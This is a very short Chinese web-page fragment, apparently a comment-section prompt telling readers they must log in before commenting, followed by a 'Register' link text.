评论前必须登录!
注册